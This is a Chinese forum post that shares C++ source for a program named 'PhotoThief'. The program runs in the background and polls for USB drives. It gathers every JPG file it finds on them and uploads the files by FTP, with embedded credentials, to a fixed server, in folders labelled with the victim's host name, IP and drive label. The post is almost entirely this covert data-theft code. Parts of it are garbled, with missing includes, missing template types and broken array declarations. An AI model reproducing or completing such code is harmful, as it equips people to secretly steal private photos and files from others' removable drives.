h0945466 发表于 2015-5-29 12:12:08

利用WinInet库和STL获取计算机硬盘中的文件并上传到指定FTP服务器

  必备知识:
  1.WinInet库
  2.STL
  /*/////////////////////////////////////////////////////////////////////////////////////////////////////////////
*         AppName:PhotoThief                                                            *
*         Function:Copy photo to FTP server from your usb store   *
*         Author:Zhang Tianxin (swtar@qq.com)                               *
*         Date:2010-6                                                                           *
/////////////////////////////////////////////////////////////////////////////////////////////////////////////*/
  #include "windows.h"
#include "wininet.h"
#include
#include
#include
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wininet.lib")
using namespace std;
  //全局函数声明
void CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT_PTR idEvent,DWORD dwTime);
void fuFindAllDirectory(const string &szDirectoryName);
BOOL fuFindFileAsExt(const string &szDirectoryName,const string &szFileExt);
BOOL fuUploadFileToServer(const string &szDirectoryName);
BOOL fuIsJpgFile(const string &szFilePath);
string fuMakeDirectoryName(const string &szDrive);
  //全局变量声明
vector vDrive;
vector vFileList;
const char szUserName[]="XXXXX";
const char szUserPwd[]="XXXXX";                  //用户名和密码当然不能告诉你
  //主函数
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
SetTimer(NULL,1,300000,(TIMERPROC)TimerProc);
MSG msg;
while(1)   
{
GetMessage(&msg,NULL,0,0);
DispatchMessage(&msg);               
}
return 0;
}
  //递归查找文件夹
void fuFindAllDirectory(const string &szDirectoryName)
{
string szFindDirectory=szDirectoryName+"*.*";
string szFullPath;
string szFinishedFile;
string szFilePath;
HANDLE hFile;
WIN32_FIND_DATA stWfd;
hFile=FindFirstFile(szFindDirectory.c_str(),&stWfd);
do
{
if(lstrcmp(stWfd.cFileName,TEXT("."))==0||lstrcmp(stWfd.cFileName,TEXT(".."))==0)
{
   continue;
}

if(stWfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
   szFullPath=szDirectoryName+stWfd.cFileName+"\\";
   fuFindAllDirectory(szFullPath);
}
else
{
   szFinishedFile=stWfd.cFileName;
   if(fuIsJpgFile(szFinishedFile))
   {
    szFilePath=szDirectoryName+stWfd.cFileName;
    vFileList.push_back(szFilePath);
   }
}
}
while(FindNextFile(hFile,&stWfd));
FindClose(hFile);
}
  //判断找到的文件是不是图片
BOOL fuIsJpgFile(const string &szFilePath)
{
string szFileExt;
char szTemp;
ZeroMemory(szTemp,MAX_PATH);
szFileExt=szFilePath.substr(szFilePath.rfind(".")+1);
lstrcpy(szTemp,szFileExt.c_str());
strupr(szTemp);
if(lstrcmp(szTemp,"JPG")==0)
{
return TRUE;
}
else
{
return FALSE;
}
}
  //定时器回调函数
void CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT_PTR idEvent,DWORD dwTime)
{
char str;
string szDriveLabel;
PCHAR temp;
ZeroMemory(str,1024);
GetLogicalDriveStrings(1023,str);
temp=(PCHAR)str;
do
{
if(GetDriveType(temp)==DRIVE_REMOVABLE)
{
   if(count(vDrive.begin(),vDrive.end(),temp)!=0)
   {
    continue;
   }
   vDrive.push_back(temp);
   string szDirectoryName(temp);
   fuFindAllDirectory(szDirectoryName);
   if(!vFileList.empty())
   {
    fuUploadFileToServer(fuMakeDirectoryName(szDirectoryName));
   }
}
temp+=(lstrlen(temp)+1);
}
while(*temp!='\x00');
}
  //生成用于在服务器上创建文件夹的字符串
string fuMakeDirectoryName(const string &szDrive)
{
char szHostName;
char szDate;
char szIP;
char szDriveLabel;
ZeroMemory(szDate,MAX_PATH);
ZeroMemory(szHostName,256);
ZeroMemory(szIP,10);
ZeroMemory(szDriveLabel,MAX_PATH);
string szDirectoryName,szTemp,szDriveRoot;
szDriveRoot=szDrive.substr(0,3);
SYSTEMTIME st;
struct hostent* pHostEnt;
//格式化日期和时间
GetSystemTime(&st);
wsprintf(szDate,"%d-%d-%d-%d-%d-%d",st.wYear,st.wMonth,st.wDay,st.wHour+8,st.wMinute,st.wSecond);
szTemp=szDate;
//格式化IP地址
WSADATA wsd;
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
MessageBox(NULL,"初始化套接字失败","错误",MB_OK|MB_ICONSTOP);
}
if(gethostname(szHostName,sizeof(szHostName))==SOCKET_ERROR)
{
MessageBox(NULL,"获取计算机名失败!","出错",MB_OK|MB_ICONSTOP);
return FALSE;
}
pHostEnt=gethostbyname(szHostName);
if(pHostEnt==NULL)
{
MessageBox(NULL,"获取IP失败!","错误",MB_OK|MB_ICONSTOP);
return FALSE;
}
wsprintf(szIP,"-%d-%d-",pHostEnt->h_addr_list&0x00ff,pHostEnt->h_addr_list&0x00ff);
WSACleanup();
szDirectoryName=szTemp+szIP;
//获取卷标
if(GetVolumeInformation(szDriveRoot.c_str(),szDriveLabel,sizeof(szDriveLabel),NULL,NULL,NULL,NULL,NULL)==0)
{
MessageBox(NULL,"获取U盘卷标失败","出错",MB_OK|MB_ICONSTOP);
}
if(szDriveLabel=='\0')
{
lstrcpy(szDriveLabel,"可移动磁盘");
}
szTemp=szDirectoryName;
szDirectoryName=szTemp+szDriveLabel;
return szDirectoryName;
}
  //同步方式上传文件到服务器
BOOL fuUploadFileToServer(const string &szDirectoryName)
{
HINTERNET hFtpServer,hConnecdServer;
vector::iterator it;
string szFileName;
hFtpServer=InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,NULL);                  // 初始化 Win32 internet
if(hFtpServer==NULL)
{
MessageBox(NULL,"初始化WinInet库失败!","出错",MB_OK|MB_ICONSTOP);
return FALSE;
}
hConnecdServer=InternetConnect(hFtpServer,"192.168.51.3",INTERNET_DEFAULT_FTP_PORT,szUserName,szUserPwd,INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,(long)0);   //打开一个FTP应用会话
if(hConnecdServer==NULL)
{
MessageBox(NULL,"创建连接失败!","出错",MB_OK|MB_ICONSTOP);
return FALSE;
}
if(!FtpSetCurrentDirectory(hConnecdServer,"学习任务"))      //设置服务器上当前的工作目录
{
MessageBox(NULL,"设置服务器上当前的工作目录失败","出错",MB_OK|MB_ICONSTOP);
return FALSE;
}
if(!FtpSetCurrentDirectory(hConnecdServer,"维护专用"))
{
MessageBox(NULL,"设置服务器上当前的工作目录失败","出错",MB_OK|MB_ICONSTOP);
return FALSE;
}
if(!FtpSetCurrentDirectory(hConnecdServer,"ztx"))
{
MessageBox(NULL,"设置服务器上当前的工作目录失败","出错",MB_OK|MB_ICONSTOP);
return FALSE;
}
if(!FtpCreateDirectory(hConnecdServer,szDirectoryName.c_str()))       //在服务器上建立一个新的目录
{
   MessageBox(NULL,"在服务器上建立一个新的目录失败","出错",MB_OK|MB_ICONSTOP);
   return FALSE;
}
if(!FtpSetCurrentDirectory(hConnecdServer,szDirectoryName.c_str()))
{
MessageBox(NULL,"设置服务器上当前的工作目录失败","出错",MB_OK|MB_ICONSTOP);
return FALSE;
}
for(it=vFileList.begin();it!=vFileList.end();it++)
{
szFileName=it->substr(it->rfind("\\")+1);
if(!FtpPutFile(hConnecdServer,it->c_str(),szFileName.c_str(),FTP_TRANSFER_TYPE_BINARY,0))   //发送指定文件到服务器
{
   MessageBox(NULL,"发送指定文件到服务器","出错",MB_OK|MB_ICONSTOP);
}
}
return TRUE;
}
  
这几天要asp.net实训,时间紧,就先写到这里吧,相关功能稍候完善!
页: [1]
查看完整版本: 利用WinInet库和STL获取计算机硬盘中的文件并上传到指定FTP服务器